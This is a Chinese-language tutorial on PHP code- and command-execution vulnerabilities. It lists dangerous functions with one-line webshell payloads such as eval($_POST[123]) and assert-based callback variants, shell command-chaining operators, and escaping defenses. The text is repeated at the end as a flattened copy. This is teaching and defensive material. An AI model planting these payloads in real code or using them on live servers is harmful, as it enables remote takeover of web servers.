代码执行和命令执行
字数 1711 2025-08-12 11:33:49

PHP代码执行与命令执行漏洞详解

一、代码执行漏洞

代码执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以通过传参在Web服务器上执行恶意代码。

1. 可变函数漏洞

PHP中一个变量名后面如果有圆括号,PHP将寻找与变量值同名的函数并尝试执行。

$func = "system";
$func("whoami");  // 相当于执行system("whoami")

2. 常见代码执行函数

eval()

  • 将一个字符串作为PHP代码执行
  • 是语言构造器,不是函数,不能作为可变函数调用
  • Payload: eval($_POST[123]);

assert()

  • 执行一个有返回值的PHP表达式
  • PHP7.2之前是函数,可以使用可变函数调用
  • PHP7.2之后变为语言构造器
  • Payload: assert($_POST[123]);

call_user_func()和call_user_func_array()

  • call_user_func(): 第一个参数作为回调函数,其余为参数
    • Payload: call_user_func('assert','eval($_POST[123])');
  • call_user_func_array(): 第一个参数作为回调函数,第二个数组参数作为回调函数参数
    • Payload: call_user_func_array('assert',['eval($_POST[123])']);

array_map()

  • 为数组的每一个元素应用回调函数
  • Payload: array_map('assert',['eval($_POST[123])']);

array_filter()

  • 使用回调函数过滤数组中的元素
  • Payload: array_filter(['eval($_POST[123])'],'assert');

array_reduce()

  • 用回调函数迭代地将数组化为单一的值
  • Payload: array_reduce([1,2],'assert','phpinfo()');

create_function()

  • 创建匿名函数(PHP7.2弃用,PHP8.0移除)
  • Payload:
    $a=create_function('','eval($_POST[123]);');
    echo $a();
    

usort()和uasort()

  • 使用自定义比较函数对数组排序
  • Payload:
    $arr=[1,'eval($_POST[123])'];
    usort($arr,'assert');
    

preg_replace()的e模式

  • 在PHP≤5.6中,e模式可将字符串作为代码执行
  • 示例: preg_replace('/.*/e', 'system("whoami")', 'test');

二、命令执行漏洞

命令执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以在服务器终端执行系统命令。

1. 常见命令执行函数

system()

  • 执行系统命令并输出结果
  • 示例: system("whoami");

passthru()

  • 功能与system()相同

exec()

  • 默认没有回显,需要手动echo
  • 只返回最后一行结果
  • 示例:
    $arr=[];
    echo exec("ipconfig",$arr);
    var_dump($arr);
    

shell_exec()

  • 默认没有回显,需要手动echo
  • 可以输出多行结果
  • 示例: echo shell_exec("ipconfig");

反引号(``)

  • 反引号内的代码被当做系统命令执行
  • 默认没有回显
  • 示例: echo `ipconfig`;

popen()

  • 打开一个指向进程的管道
  • 示例:
    $fp=popen("whoami",'r');
    while(!feof($fp)){$content.=fgetss($fp);}
    echo $content;
    

proc_open()

  • 类似popen()但更复杂

2. 命令连接符

  • &&: 左边成功才执行右边
  • ||: 左边失败才执行右边
  • &: 无论左边成功与否都执行右边(同时执行)
  • |: 管道符,左边结果作为右边参数(左边必须正确执行)

注意:URL中使用&需要URL编码为%26

三、防御措施

1. 代码执行防御

  • 禁用危险函数(eval, assert等)
  • 严格过滤用户输入
  • 使用白名单验证输入

2. 命令执行防御

escapeshellarg()

  • 在字符串两端加引号,并去掉字符串内的引号
  • 示例: escapeshellarg($_GET['cmd'])

escapeshellcmd()

  • 将所有特殊字符用^转义

注意:这两个函数配合使用可能产生问题,且不同系统/浏览器处理结果可能不同。最佳实践是避免直接将用户输入传递给命令执行函数。

PHP代码执行与命令执行漏洞详解 一、代码执行漏洞 代码执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以通过传参在Web服务器上执行恶意代码。 1. 可变函数漏洞 PHP中一个变量名后面如果有圆括号,PHP将寻找与变量值同名的函数并尝试执行。 2. 常见代码执行函数 eval() 将一个字符串作为PHP代码执行 是语言构造器,不是函数,不能作为可变函数调用 Payload: eval($_POST[123]); assert() 执行一个有返回值的PHP表达式 PHP7.2之前是函数,可以使用可变函数调用 PHP7.2之后变为语言构造器 Payload: assert($_POST[123]); call_ user_ func()和call_ user_ func_ array() call_user_func() : 第一个参数作为回调函数,其余为参数 Payload: call_user_func('assert','eval($_POST[123])'); call_user_func_array() : 第一个参数作为回调函数,第二个数组参数作为回调函数参数 Payload: call_user_func_array('assert',['eval($_POST[123])']); array_ map() 为数组的每一个元素应用回调函数 Payload: array_map('assert',['eval($_POST[123])']); array_ filter() 使用回调函数过滤数组中的元素 Payload: array_filter(['eval($_POST[123])'],'assert'); array_ reduce() 用回调函数迭代地将数组化为单一的值 Payload: array_reduce([1,2],'assert','phpinfo()'); create_ function() 创建匿名函数(PHP7.2弃用,PHP8.0移除) Payload: usort()和uasort() 使用自定义比较函数对数组排序 Payload: preg_ replace()的e模式 在PHP≤5.6中,e模式可将字符串作为代码执行 示例: preg_replace('/.*/e', 'system("whoami")', 'test'); 二、命令执行漏洞 命令执行漏洞是指未严格过滤用户输入的参数,导致攻击者可以在服务器终端执行系统命令。 1. 常见命令执行函数 system() 执行系统命令并输出结果 示例: system("whoami"); passthru() 功能与system()相同 exec() 默认没有回显,需要手动echo 只返回最后一行结果 示例: shell_ exec() 默认没有回显,需要手动echo 可以输出多行结果 示例: echo shell_exec("ipconfig"); 反引号( `` ) 反引号内的代码被当做系统命令执行 默认没有回显 示例: echo `ipconfig`; popen() 打开一个指向进程的管道 示例: proc_ open() 类似popen()但更复杂 2. 命令连接符 && : 左边成功才执行右边 || : 左边失败才执行右边 & : 无论左边成功与否都执行右边(同时执行) | : 管道符,左边结果作为右边参数(左边必须正确执行) 注意:URL中使用 & 需要URL编码为 %26 三、防御措施 1. 代码执行防御 禁用危险函数(eval, assert等) 严格过滤用户输入 使用白名单验证输入 2. 命令执行防御 escapeshellarg() 在字符串两端加引号,并去掉字符串内的引号 示例: escapeshellarg($_GET['cmd']) escapeshellcmd() 将所有特殊字符用 ^ 转义 注意:这两个函数配合使用可能产生问题,且不同系统/浏览器处理结果可能不同。最佳实践是避免直接将用户输入传递给命令执行函数。